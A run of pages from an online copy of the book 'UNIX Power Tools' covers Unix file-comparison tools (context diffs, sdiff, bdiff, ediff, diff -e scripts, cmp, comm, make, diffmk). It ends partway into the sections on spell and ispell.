The diff examples in articles 28.1 and 28.2 show compact formats with just the differences between the two files. But, in many cases, context diff listings are more useful. Context diffs show the changed lines and the lines around them. (This can be a headache if you're trying to read the listing on a terminal and there are many changed lines fairly close to one another: the context will make a huge "before" section, with the "after" section several screenfuls ahead. In that case, the more compact diff formats can be useful.)

On many versions of diff (including the GNU version on the CD-ROM), the -c option shows context around each change. By itself, -c shows three lines above and below each change. Here's an example of a C++ file before and after some edits; the -c2 option shows two lines of context:

% diff -c2 include.h.orig include.h
*** include.h.orig      Fri Aug 23 22:17:00 1996
-- include.h   Fri Aug 23 23:31:30 1996

***************
*** 45,52 ****
  private:
      Node    *head;                  // first member in list
!     Node    *last;                  // last member in list

  public:
!     void    load(void);             // insert data into list
      void    figure_tax(Taxer tax_obj);
      void    summarize(void);        // do calculations
-- 45,52 --
  private:
      Node    *head;                  // first member in list
!     Node    *tail;                  // last member in list

  public:
!     void    load(char *infile);     // read data, insert into list
      void    figure_tax(Taxer tax_obj);
      void    summarize(void);        // do calculations

***************
*** 77,84 ****
          int tax;
          int percent;
-         int boundary;
      } tax_array[TAX_TABLE_RECORDS];

  public:
      double  give_tax(double gross_pay);     // search array, get tax
  };
-- 77,85 --
          int tax;
          int percent;
      } tax_array[TAX_TABLE_RECORDS];

  public:
+             Taxer(void);                    // constructor
+             ~Taxer(void);                   // destructor
      double  give_tax(double gross_pay);     // search array, get tax
  };

The listing starts with the two filenames and their last-modified dates ("timestamps"). The first filename (here, include.h.orig) has three asterisks (***) before it; the second name has three dashes (---). These markers identify the two files in the difference listings below.

Each changed section starts with a long row of asterisks. Next comes a range of lines from the first file and the line numbers shown in that section (marked with a pair of triple asterisks around the line numbers). After the first file's section, a similar section shows the changed version in the second file, marked with a pair of triple dashes around the line numbers.

Changed lines that exist in both files are marked with an ! (exclamation point) character in the left margin. So, two of the lines between lines 45-52 were changed. include.h.orig had the line Node *last;; in include.h, part of that line was changed to read Node *tail;. The pair of lines starting with void load were also changed. Other lines in the section weren't changed.

The next changed section shows lines 77-84 in include.h.orig and 77-85 in include.h. The minus sign (-) in the left margin shows that the int boundary line of include.h.orig was deleted; it doesn't appear in the second file. In the second file, include.h, there are two new lines - marked with a plus sign (+) in the margin.

Context diffs aren't just nice for reading. The patch (33.9) program reads context diff listings and uses them to update files automatically. For example, if I had include.h.orig, someone could send me the diff listing above (called a "patch"). From the original and the patch, patch could create include.h. The advantage of a context diff over the formats in articles 28.1 and 28.2 is that context diffs let patch locate the changed sections even if they've been moved somewhat.

- JP

Previous: 28.2 Comparing Three Different Versions with diff3 | UNIX Power Tools | Next: 28.4 Side-by-Side diffs: sdiff
28.2 Comparing Three Different Versions with diff3 | Book Index | 28.4 Side-by-Side diffs: sdiff
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 28] 28.4 Side-by-Side diffs: sdiff

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 28.3 Context diffs Chapter 28
Comparing Files 		Next: 28.5 Comparing Files Alongside One Another

28.4 Side-by-Side diffs: sdiff

sdiff
After you've used diff for a while, the output is easy to read. Sometimes, though, it's just easier to see two files side-by-side. The sdiff command does that. (There's also a GNU version on the CD-ROM.) Between the files, it prints < to point to lines that are only in the first file, > for lines only in the second file, and | for lines that are in both, but different. By default, sdiff shows all the lines in both files. Here's a fairly bogus example that compares two files that contain the output of who (51.4) at different times:

$ sdiff -w75 who1 who2
jake     vt01      Sep 10 10:37      jake     vt01      Sep 10 10:37
uunmv    ttyi1i    Sep 16 11:43   <
jerry    ttyi1j    Sep 15 22:38      jerry    ttyi1j    Sep 15 22:38
jake     ttyp1     Sep  9 14:55      jake     ttyp1     Sep  9 14:55
jake     ttyp2     Sep  9 15:19   |  ellen    ttyp2     Sep 16 12:07
                                  >  carolo   ttyp5     Sep 16 13:03
alison   ttyp8     Sep  9 12:49      alison   ttyp8     Sep  9 12:49

To see only lines that are different, use -s (silent):

$ sdiff -s -w75 who1 who2
2d1
uunmv    ttyi1i    Sep 16 11:43   <
5c4,5
jake     ttyp2     Sep  9 15:19   |  ellen    ttyp2     Sep 16 12:07
                                  >  carolo   ttyp5     Sep 16 13:03

The output lines are usually 130 characters long. That's too long for 80-column-wide screens; if you can put your terminal in 132-column mode or stretch your window, fine. If you can't, use the -w option to set a narrower width, like -w80 for 80-column lines; sdiff will show the first 37 characters from each line (it doesn't write quite all 80 columns). If you can set your printer to compressed type or have a very wide window, use an option like -w170 to get all of each line.

Article 28.6 explains a very useful feature of sdiff: building one file interactively from two files you compare.

- JP

Previous: 28.3 Context diffs | UNIX Power Tools | Next: 28.5 Comparing Files Alongside One Another
28.3 Context diffs | Book Index | 28.5 Comparing Files Alongside One Another
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 28] 28.5 Comparing Files Alongside One Another

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 28.4 Side-by-Side diffs: sdiff Chapter 28
Comparing Files 		Next: 28.6 Choosing Sides with sdiff

28.5 Comparing Files Alongside One Another

twin
sdiff (28.4) can be used to show diffed files side-by-side, so that you can compare them in context. The twin program on the CD-ROM is similar to sdiff, but it allows you to scroll through files alongside one another. twin is also nicer about wrapping lines to make the files easier to read.

The twin program displays the two files in a split screen, with line numbers in the left margin:

1                                 |
 You can use the bc program to   |You can also use bc to
  3 convert from decimal to hex.    |convert from decimal to hex.
  4 To do so, use obase to          |To do so, use obase to
  5 set the base for output:        |set the base for output:
  6                                 |
  7  obase=16                       | obase=16
      ...

The highlighted line might be underlined on your terminal. This line is the one that twin notices is different between the files.

twin uses a limited number of commands to move around in the files, which are shown when you first start up the program. You can use the u command to move both files up, and the v command to move both files down. There are also commands for moving only one side of the screen - for example, j to move the right-side text down.

- LM

Previous: 28.4 Side-by-Side diffs: sdiff | UNIX Power Tools | Next: 28.6 Choosing Sides with sdiff
28.4 Side-by-Side diffs: sdiff | Book Index | 28.6 Choosing Sides with sdiff
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 28] 28.6 Choosing Sides with sdiff

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 28.5 Comparing Files Alongside One Another Chapter 28
Comparing Files 		Next: 28.7 diff for Very Long Files: bdiff

28.6 Choosing Sides with sdiff

One problem you might be tempted to tackle with diff3 (28.2) is sorting out the mess that can happen if two people make copies of the same file, and then make changes to their copies. You often find that one version has some things right and another version has other things right. What if you wanted to compile a single version of this document that reflects the changes made to each copy? You want to select which version is correct for each set of differences. An effective way to do this would be to use sdiff (28.4). (Of course, the best thing to do is to prevent the problem in the first place, by using SCCS or RCS (20.12).)

One of the most powerful uses of sdiff is to build an output file by interactively choosing between different versions of two files. To do this, you have to specify the -o option and the name of an output file to be created. The sdiff command then displays a % prompt after each set of differences.

You can compare the different versions and select the one that will be sent to the output file. Some of the possible responses are l to choose the left column, r to choose the right column, and q to exit the program.

- TOR, JP

Previous: 28.5 Comparing Files Alongside One Another | UNIX Power Tools | Next: 28.7 diff for Very Long Files: bdiff
28.5 Comparing Files Alongside One Another | Book Index | 28.7 diff for Very Long Files: bdiff
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 28] 28.7 diff for Very Long Files: bdiff

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 28.6 Choosing Sides with sdiff Chapter 28
Comparing Files 		Next: 28.8 More Friendly diff Output

28.7 diff for Very Long Files: bdiff

The diff command has trouble comparing very long files. Its -h option does a half-hearted and fast job, but it can miss changes in some cases. System V users have an alternative: bdiff. It ignores lines common to the beginning of both files, splits the remainder of each file into chunks, and runs diff on corresponding segments. (BSD users can probably make a shell script that does this, more or less. I haven't tried, though.) bdiff also adjusts the line numbers for each chunk to make it look like one diff did the whole job.

The good part of this is that bdiff will find all the differences. The bad part is that it might find "differences" that really aren't differences at all. This extra output is usually caused by uneven-length files. Here's an example of two files that aren't quite too long for the regular diff-it finds the single difference correctly. But bdiff finds another "difference" that isn't really a difference:

% diff log1 log2
11580a11581
> 15:25:42: ERROR: printer offline
% bdiff log1 log2
11580a11581
> 15:25:42: ERROR: printer offline
15080d15080
< 17:22:59: WARNING: queue too long; waiting
15080a15081
> 17:22:59: WARNING: queue too long; waiting

Even with that wart, sometimes you can't get along without bdiff.

- JP

Previous: 28.6 Choosing Sides with sdiff | UNIX Power Tools | Next: 28.8 More Friendly diff Output
28.6 Choosing Sides with sdiff | Book Index | 28.8 More Friendly diff Output
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 28] 28.8 More Friendly diff Output

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 28.7 diff for Very Long Files: bdiff Chapter 28
Comparing Files 		Next: 28.9 ex Scripts Built by diff

28.8 More Friendly diff Output

ediff
If you find the output of the diff (28.1) program to be hard to follow, try using the ediff program to filter diff output into something more readable. For example, the diff program might produce the following output:

% diff chapter2 chapter2.new
i22,26d21
< Use the bc program to convert from decimal to hexadecimal.
< To do so, use the obase command to set the base for output:
<
<       obase=16
<
39c34,35
< See Section 5.6 for more examples of using bc.
--
> See Section 5.6 for information on how to use the bc command to
> convert decimal to hexadecimal.

This is a little hard to follow until you get used to the format. Now try filtering the output through ediff:

% diff chapter2 chapter2.new | ediff

---- 5 lines deleted at 22:
Use the bc program to convert decimal to hexadecimal.
To do so, use the obase command to set the base for output:

        obase=16

---- 1 line changed to 2 lines at 39 from:
See Section 5.6 for more examples of using bc.
---- to:
See Section 5.6 for information on how to use the bc command to
convert decimal to hexadecimal.

Now you see why ediff describes itself as a "diff to English translator."

- LM

Previous: 28.7 diff for Very Long Files: bdiff | UNIX Power Tools | Next: 28.9 ex Scripts Built by diff
28.7 diff for Very Long Files: bdiff | Book Index | 28.9 ex Scripts Built by diff
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 28] 28.9 ex Scripts Built by diff

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 28.8 More Friendly diff Output Chapter 28
Comparing Files 		Next: 28.10 Problems with diff and Tabstops

28.9 ex Scripts Built by diff

The -e option of diff produces an editing script usable with either ex (33.4) or ed, instead of the usual output. This script consists of a sequence of a (add), c (change), and d (delete) commands necessary to re-create file2 from file1 (the first and second files specified on the diff command line).

Obviously there is no need to completely re-create the first file from the second, because you could do that easily with cp. However, by editing the script produced by diff, you can come up with some desired combination of the two versions.

It might take you a moment to think of a case in which you might have use for this feature. Consider this one: two people have unknowingly made edits to different copies of a file, and you need the two versions merged. (This can happen especially easily in a networked environment, in which people copy files between machines. Poor coordination can easily result in this kind of problem.)

To make this situation concrete, let's take a look at two versions of the same paragraph, that we want to combine:

Version 1:The Book of Kells, now one of the treasures of the Trinity
College Library in Dublin, was found in the ancient
monastery at Ceannanus Mor, now called Kells. It is a
beautifully illustrated manuscript of the Latin Gospels,
and also contains notes on local history.
It was written in the eighth century.
The manuscript is generally regarded as the finest example
of Celtic illumination.

Version 2:The Book of Kells was found in the ancient
monastery at Ceannanus Mor, now called Kells. It is a
beautifully illustrated manuscript of the Latin Gospels,
and also contains notes on local history.
It is believed to have been written in the eighth century.
The manuscript is generally regarded as the finest example
of Celtic illumination.

As you can see, there is one additional phrase in each of the two files. We can merge them into one file that incorporates both edits. Typing:

$ diff -e version1 version2 > exscript

will yield the following output in the file exscript:

6c
It is believed to have been written in the eighth century.
.
1,2c
The Book of Kells was found in the ancient
.

You'll notice that the script appears in reverse order, with the changes later in the file appearing first. This is essential whenever you're making changes based on line numbers; otherwise, changes made earlier in the file may change the numbering, rendering the later parts of the script ineffective. You'll also notice that, as mentioned, this script will simply recreate version2, which is not what we want. We want the change to line 5, but not the change to lines 1 and 2. We want to edit the script so that it looks like this:

6c
It is believed to have been written in the eighth century.
.
w

(Notice that we had to add the w command to write the results of the edit back into the file.) Now we can type:

$ ex - version1 < exscript

to get the resulting merged file:

The Book of Kells, now one of the treasures of the Trinity
College Library in Dublin, was found in the ancient
monastery at Ceannanus Mor, now called Kells. It is a
beautifully illustrated manuscript of the Latin Gospels,
and also contains notes on local history.
It is believed to have been written in the eighth century.
The manuscript is generally regarded as the finest example
of Celtic illumination.

Using diff like this can get confusing, especially when there are many changes. It is easy to get the direction of changes confused or to make the wrong edits. Just remember to do the following:

  • Specify the file that is closest in content to your eventual target as the first file on the diff command line. This will minimize the size of the editing script that is produced.

  • After you have corrected the editing script so that it makes only the changes that you want, apply it to that same file (the first file).

Nonetheless, because there is so much room for error, it is better not to have your script write the changes back directly into one of your source files. Instead of adding a w command at the end of the script, add the command %p (or 1,$p) to write the results to standard output (13.1). This is almost always preferable when you are using a complex editing script.

If we use this command in the editing script, the command line to actually make the edits would look like this:

$ ex - version1 < exscript > version3

Writers often find themselves making extensive changes and then wishing they could go back and recover some part of an earlier version. Obviously, frequent backups will help. However, if backup storage space is at a premium, it is possible to save only some older version of a file and then keep incremental diff -e scripts to mark the differences between each successive version. (As it turns out, this is what version control systems like SCCS and RCS (20.12) do.)

To apply multiple scripts to a single file, you can simply pipe them to ex rather than redirecting input:

cat
$ cat script1 script2 script3 | ex - oldfile

But wait! How do you get your w (or %p) command into the pipeline? You could edit the last script to include one of these commands. But there's another trick that we ought to look at because it illustrates another useful feature of the shell that many people are unaware of. If you enclose a semicolon-separated list of commands in parentheses (13.7), the standard output of all of the commands are combined, and can be redirected together. The immediate application is that, if you type:

echo
$ cat script1 script2 script3; echo '%p' | ex - oldfile

the results of the cat command will be sent, as usual, to standard output, and only the results of echo will be piped to ex. But if you type:

$ (cat script1 script2 script3; echo '%p') | ex - oldfile

the output of the entire sequence will make it into the pipeline, which is what we want.

- TOR from UNIX Text Processing, Hayden Books, 1987, Chapter 12

Previous: 28.8 More Friendly diff Output | UNIX Power Tools | Next: 28.10 Problems with diff and Tabstops
28.8 More Friendly diff Output | Book Index | 28.10 Problems with diff and Tabstops
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 28] 28.10 Problems with diff and Tabstops

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 28.9 ex Scripts Built by diff Chapter 28
Comparing Files 		Next: 28.11 cmp and diff

28.10 Problems with diff and Tabstops

The diff (28.1) utility adds extra characters (>, <, +, and so on) to the beginning of lines. That can cause you real grief with tabstops because the extra characters diff adds can shift lines enough to make the indentation look wrong. The diff -t option expands TABs to 8-character tabstops and solves the problem.

If you use non-standard tabstops, though, piping diff's output through expand or pr -e (see article 41.4):

% diff afile bfile | expand -4

doesn't help because diff has already added the extra characters.

The best answers I've seen are the bash <() process substitution operator and the! (exclamation point) script . (9.18) You can expand TABs before diff sees them. For example, to show the differences between two files with 4-column tabstops:

bash$ diff <(expand -4 afile) <(expand -4 bfile)      bash

% diff `! expand -4 afile` `! expand -4 bfile`        other shells

- JP

Previous: 28.9 ex Scripts Built by diff | UNIX Power Tools | Next: 28.11 cmp and diff
28.9 ex Scripts Built by diff | Book Index | 28.11 cmp and diff
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 28] 28.11 cmp and diff

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 28.10 Problems with diff and Tabstops Chapter 28
Comparing Files 		Next: 28.12 Comparing Two Files with comm

28.11 cmp and diff

cmp
 cmp is another program for comparing files. (There's also a GNU version on the CD-ROM.) It's a lot simpler than diff (28.1); it tells you whether the files are equivalent, and the byte offset at which the first difference occurs. You don't get a detailed analysis of where the two files differ. For this reason, cmp is often faster, particularly when you're comparing ASCII (51.3) files: it doesn't have to generate a long report summarizing the differences. If all you want to know is whether two files are different, it's the right tool for the job.

It's worth noting, though, that cmp isn't always faster. Some versions of diff make some simple checks first, like comparing file length. If two binary files have different lengths, they are obviously different; some diff implementations will tell you so without doing any further processing.

Both diff and cmp return an exit status (44.7)cmp that shows what they found:
Exit Status | Meaning
0 | The files were the same.
1 | The files differed.
2 | An error occurred.
Within a shell script, the exit status from diff and cmp is often more important than their actual output.

- ML

Previous: 28.10 Problems with diff and Tabstops | UNIX Power Tools | Next: 28.12 Comparing Two Files with comm
28.10 Problems with diff and Tabstops | Book Index | 28.12 Comparing Two Files with comm
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 28] 28.12 Comparing Two Files with comm

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 28.11 cmp and diff Chapter 28
Comparing Files 		Next: 28.13 make Isn't Just for Programmers!

28.12 Comparing Two Files with comm

The comm command can tell you what information is common to two lists, and what information appears uniquely in one list or the other. For example, let's say you're compiling information on the favorite movies of critics Siskel and Ebert. The movies are listed in separate files (and must be sorted (36.1)- if they aren't sorted, the ! script (9.18) will help). For the sake of illustration, assume each list is short:

% cat siskel
Citizen Kane
Halloween VI
Ninja III
Rambo II
Star Trek V
Zelig
% cat ebert
Cat People
Citizen Kane
My Life as a Dog
Q
Z
Zelig

To compare the favorite movies of your favorite critics, type:

% comm siskel ebert
                  Cat People
                                         Citizen Kane
Halloween VI
                  My Life as a Dog
Ninja III
                  Q
Rambo II
Star Trek V
                  Z
                                         Zelig

Column 1 shows the movies that only Siskel likes; Column 2 shows those that only Ebert likes; and Column 3 shows the movies that they both like. You can suppress one or more columns of output by specifying that column as a command-line option. For example, to suppress Columns 1 and 2 (displaying only the movies both critics like), you would type:

% comm -12 siskel ebert
Citizen Kane
Zelig

As another example, say you've just received a new software release (Release 4), and it's your job to figure out which library functions have been added so that they can be documented along with the old ones. Let's assume you already have a list of the Release 3 functions (r3_list) and a list of the Release 4 functions (r4_list). (If you didn't, you could create them by changing to the directory that has the function manual pages, listing the files with ls, and saving each list to a file.) In the lists below, we've used letters of the alphabet to represent the functions:

% cat r3_list
b
c
d
f
g
h

% cat r4_list
a
b
c
d
e
f

You can now use the comm command to answer several questions you might have:

  • Which functions are new to Release 4? Answer:

    % comm -13 r3_list r4_list    Show 2nd column, which is "Release 4 only"
a
e

  • Which Release 3 functions have been dropped in Release 4? Answer:

    % comm -23 r3_list r4_list    Show 1st column, which is "Release 3 only"
g
h

  • Which Release 3 functions have been retained in Release 4? Answer:

    % comm -12 r3_list r4_list    Show 3rd column, which is "common functions"
b
c
d
f

You can create partial lists by saving the above output to three separate files.

comm can only compare sorted files. If you can't sort the files, look at the trick in article 2.14: using diff and grep.

- DG

Previous: 28.11 cmp and diff | UNIX Power Tools | Next: 28.13 make Isn't Just for Programmers!
28.11 cmp and diff | Book Index | 28.13 make Isn't Just for Programmers!
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 28] 28.13 make Isn't Just for Programmers!

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 28.12 Comparing Two Files with comm Chapter 28
Comparing Files 		Next: 28.14 Even More Uses for make

28.13 make Isn't Just for Programmers!

The make program is a UNIX facility for describing dependencies among a group of related files, usually ones that are part of the same project. This facility has enjoyed widespread use in software development projects. Programmers use make to describe how to "make" a program - what source files need to be compiled, what libraries must be included, and which object files need to be linked. By keeping track of these relationships in a single place, individual members of a software development team can make changes to a single module, run make, and be assured that the program reflects the latest changes made by others on the team.

We group make with the other commands for keeping track of differences between files only by a leap of the imagination. However, although it does not compare two versions of the same source file, it can be used to compare versions such as a source file and the formatted output.

Part of what makes UNIX a productive environment for text processing is discovering other uses for standard programs. The make utility has many possible applications for a documentation project. One such use is to maintain up-to-date copies of formatted files that make up a single manual and provide users with a way of obtaining a printed copy of the entire manual without having to know which preprocessors or nroff/troff (43.13) options need to be invoked.

The basic operation that make performs is to compare two sets of files, for example, formatted and unformatted files, and determine if any members of one set, the unformatted files, are more recent than their counterpart in the other set, the formatted files. This is accomplished by simply comparing the last-modification date (16.5) ("timestamp") of pairs of files. If the unformatted source file has been modified since the formatted file was made, make executes the specified command to "remake" the formatted file.

To use make, you have to write a description file, usually named makefile (or Makefile), that resides in the working directory for the project. The makefile specifies a hierarchy of dependencies among individual files, called components. At the top of this hierarchy is a target. For our purposes, you can think of the target as a printed copy of a book; the components are formatted files generated by processing an unformatted file with nroff.

Here's the makefile that reflects these dependencies:

lp

tbl

manual: ch01.fmt ch02.fmt ch03.fmt
        lp ch0[1-3].fmt
ch01.fmt: ch01
        nroff -mm ch01 > ch01.fmt
ch02.fmt: ch02
        tbl ch02 | nroff -mm > ch02.fmt
ch03.fmt: ch03a ch03b ch03c
        nroff -mm ch03[abc] > ch03.fmt

This hierarchy is represented in Figure 28.1.

Figure 28.1: What makefile Describes: Files and Commands to Make Manual

The target is manual, which is made up of three formatted files whose names appear after the colon. Each of these components has its own dependency line. For instance, ch01.fmt is dependent upon a coded file named ch01. Underneath the dependency line is the command that generates ch01.fmt. Each command line must begin with a TAB.

When you enter the command make, the end result is that the three formatted files are spooled to the printer. However, a sequence of operations is performed before this final action. The dependency line for each component is evaluated, determining if the coded file has been modified since the last time the formatted file was made. The formatting command will be executed only if the coded file is more recent. After all the components are made, the lp (43.2) command is executed.

As an example of this process, we'll assume that all the formatted files are up-to-date. Then by editing the source file ch03a, we change the modification time. When you execute the make command, any output files dependent on ch03a are reformatted:

$ make
nroff -mm ch03[abc] > ch03.fmt
lp ch0[1-3].fmt

Only ch03.fmt needs to be remade. As soon as that formatting command finishes, the command underneath the target manual is executed, spooling the files to the printer.

Although this example has actually made only limited use of make's facilities, we hope it suggests more ways to use make in a documention project. You can keep your makefiles just this simple, or you can go on to learn additional notation, such as internal macros and suffixes, in an effort to generalize the description file for increased usefulness.

- TOR from UNIX Text Processing, Hayden Books, 1987

Previous: 28.12 Comparing Two Files with comm | UNIX Power Tools | Next: 28.14 Even More Uses for make
28.12 Comparing Two Files with comm | Book Index | 28.14 Even More Uses for make
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 28] 28.14 Even More Uses for make

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 28.13 make Isn't Just for Programmers! Chapter 28
Comparing Files 		Next: 28.15 Show Changes in a troff File with diffmk

28.14 Even More Uses for make

Thinking about make will pay off in many ways. One way to get ideas about how to use it is to look at other makefiles.

One of my favorites is the makefile for NIS (1.33) (formerly called yp, or "Yellow Pages"). I like this makefile because it does something that you'd never think of doing, even though it suits make perfectly: updating a distributed database.

The makefile is fairly complicated, so I don't want to get into a line-by-line explication of the makefile; but I will give you a sketch of how it works. Here's the problem. A system administrator updates one or more files (we'll say the passwd file), and wants to get his changes into the yp database. So you need to check whether or not the new password file is more recent than the database. Unfortunately, the database isn't represented by a single file, so there's nothing to "check" against. The NIS makefile handles this situation by creating empty files that serve as timestamps. There's a separate .time file for every database that NIS serves. When you type make, make checks every master file against the corresponding timestamp. If a master file is newer than the timestamp, make knows that it has to rebuild part of the database. After rebuilding the database, the makefile "touches" the timestamp, so that it reflects the time at which the database was built.

The makefile looks something like this:

touch

passwd: passwd.time
passwd.time:  /etc/master/passwd
         @ lots of commands that rebuild the database
         @ touch passwd.time
         @ more commands to distribute the new database

hosts: hosts.time
hosts.time:  similar stuff

You may never need to write a makefile this complicated; but you should look for situations in which you can use make profitably. It isn't just for programming.

- ML

Previous: 28.13 make Isn't Just for Programmers! | UNIX Power Tools | Next: 28.15 Show Changes in a troff File with diffmk
28.13 make Isn't Just for Programmers! | Book Index | 28.15 Show Changes in a troff File with diffmk
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 28] 28.15 Show Changes in a troff File with diffmk

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 28.14 Even More Uses for make Chapter 28
Comparing Files 		Next: 29. Spell Checking, Word Counting, and Textual Analysis

28.15 Show Changes in a troff File with diffmk

Whenever you produce multiple drafts of a document for review, "change marks" in the newer draft are useful for showing where additions and deletions have occurred. The troff (43.13) request .mc (margin character) can be used to print change marks in the margin of any document that is formatted through troff, and the UNIX command diffmk uses .mc requests to produce marked drafts. diffmk has the following syntax:

% diffmk version.1 version.2 marked_file

The above command line compares an old version of a file (version.1) to a new version (version.2) and creates a third file, marked_file. marked_file consists of the contents of version.2 plus .mc requests that show where that file differs from version.1. When marked_file is formatted, additions and changes will be indicated by vertical bars (|) in the margin, while deleted text will be indicated by an asterisk (*) in the margin.

There are times when you'll want the diffmk command to run on many files at once. For example, suppose you have a project directory containing eight chapter files from a first draft:

% ls project
chapters.old/          stuff
% ls project/chapters.old
ch01     ch03     ch05     ch07
ch02     ch04     ch06     ch08

Before making second-draft revisions, you copy the chapter files into a directory named chapters.new:

% ls project
chapters.new/          chapters.old/          stuff
% cd project/chapters.new
% ls
ch01     ch03     ch05     ch07
ch02     ch04     ch06     ch08

Copying the files allows you to edit new versions while preserving the original files in the old directory. After you've edited the files in the new directory, you want to run diffmk on all of them. In the new directory, you would want to type:

% diffmk  ../chapters.old/ch01  ch01  ch01.diffmk
% diffmk  ../chapters.old/ch02  ch02  ch02.diffmk
% diffmk  ../chapters.old/ch03  ch03  ch03.diffmk
   ...

A shell loop (9.11, 9.12) would simplify the amount of typing you need to do. You can save disk space by using a version control utility such as SCCS or RCS (20.12).

- DG

Previous: 28.14 Even More Uses for make | UNIX Power Tools | Next: 29. Spell Checking, Word Counting, and Textual Analysis
28.14 Even More Uses for make | Book Index | 29. Spell Checking, Word Counting, and Textual Analysis
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 29] Spell Checking, Word Counting, and Textual Analysis

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 28.15 Show Changes in a troff File with diffmk Chapter 29 Next: 29.2 Check Spelling Interactively with ispell

29. Spell Checking, Word Counting, and Textual Analysis

Contents:
The UNIX spell Command
Check Spelling Interactively with ispell
How Do I Spell That Word?
Inside spell
Adding Words to ispell's Dictionary
Counting Lines, Words, and Characters: wc
Count How Many Times Each Word Is Used
Find a a Doubled Word
Looking for Closure
Just the Words, Please

29.1 The UNIX spell Command

The spell command reads one or more files and prints a list of words that may be misspelled. You can redirect the output to a file, use grep (27.1) to locate each of the words, and then use vi or ex to make the edits. It's also possible to hack up a shell and sed script that interactively displays the misspellings and fixes them on command, but realistically, this is too tedious for most users. (The ispell (29.2) program solves many - though not all - of these problems.)

When you run spell on a file, the list of words it produces usually includes a number of legitimate words or terms that the program does not recognize. spell is case-sensitive; it's happy with Aaron but complains about aaron. You must cull out the proper nouns and other words spell doesn't know about to arrive at a list of true misspellings. For instance, look at the results on this sample sentence:

Alcuin uses TranScript to convert ditroff into
PostScript output for the LaserWriter printerr.
$ spell sample
Alcuin
ditroff
printerr
LaserWriter
PostScript
TranScript

Only one word in this list is actually misspelled.

On many UNIX systems, you can supply a local dictionary file so that spell recognizes special words and terms specific to your site or application. After you have run spell and looked through the word list, you can create a file containing the words that were not actual misspellings. The spell command will check this list after it has gone through its own dictionary. [On systems where I've used it, your word list file had to be sorted (36.1). -JP ]

If you added the special terms in a file named dict, you could specify that file on the command line using the + option:

$ spell +dict sample
printerr

The output is reduced to the single misspelling.

The spell command will also miss words specified as arguments to nroff or troff macros (43.13), and like any spelling checker, will make some errors based on incorrect derivation of spellings from the root words contained in its dictionary. If you understand how spell works (29.4), you may be less surprised by some of these errors.

- DD from UNIX Text Processing, Hayden Books, 1987

Previous: 28.15 Show Changes in a troff File with diffmk | UNIX Power Tools | Next: 29.2 Check Spelling Interactively with ispell
28.15 Show Changes in a troff File with diffmk | Book Index | 29.2 Check Spelling Interactively with ispell
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 29] 29.2 Check Spelling Interactively with ispell

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 29.1 The UNIX spell Command Chapter 29
Spell Checking, Word Counting, and Textual Analysis 		Next: 29.3 How Do I Spell That Word?

29.2 Check Spelling Interactively with ispell

The original UNIX spell checking program, spell (29.1), is fine for quick checks of spelling in a short document, but it makes you cry out for a real spelling checker, which not only shows you the misspelled words in context, but offers to change them for you.

ispell
ispell, a very useful program that's been ported to UNIX and enhanced over the years, does all this and more. Here's the basic usage.

Just as with spell, you spell check a document by giving ispell a filename. But there the similarities cease. ispell takes over your screen or window, printing two lines of context at the bottom of the screen. If your terminal can do reverse video, the offending word is highlighted. Several alternate possibilities are presented in the upper-left corner of the screen - any word in ispell's dictionary that differs by only one letter, has a missing or extra letter, or transposed letters.

Faced with a highlighted word, you have eight choices:

SPACE

Press the spacebar to accept the current spelling.

A

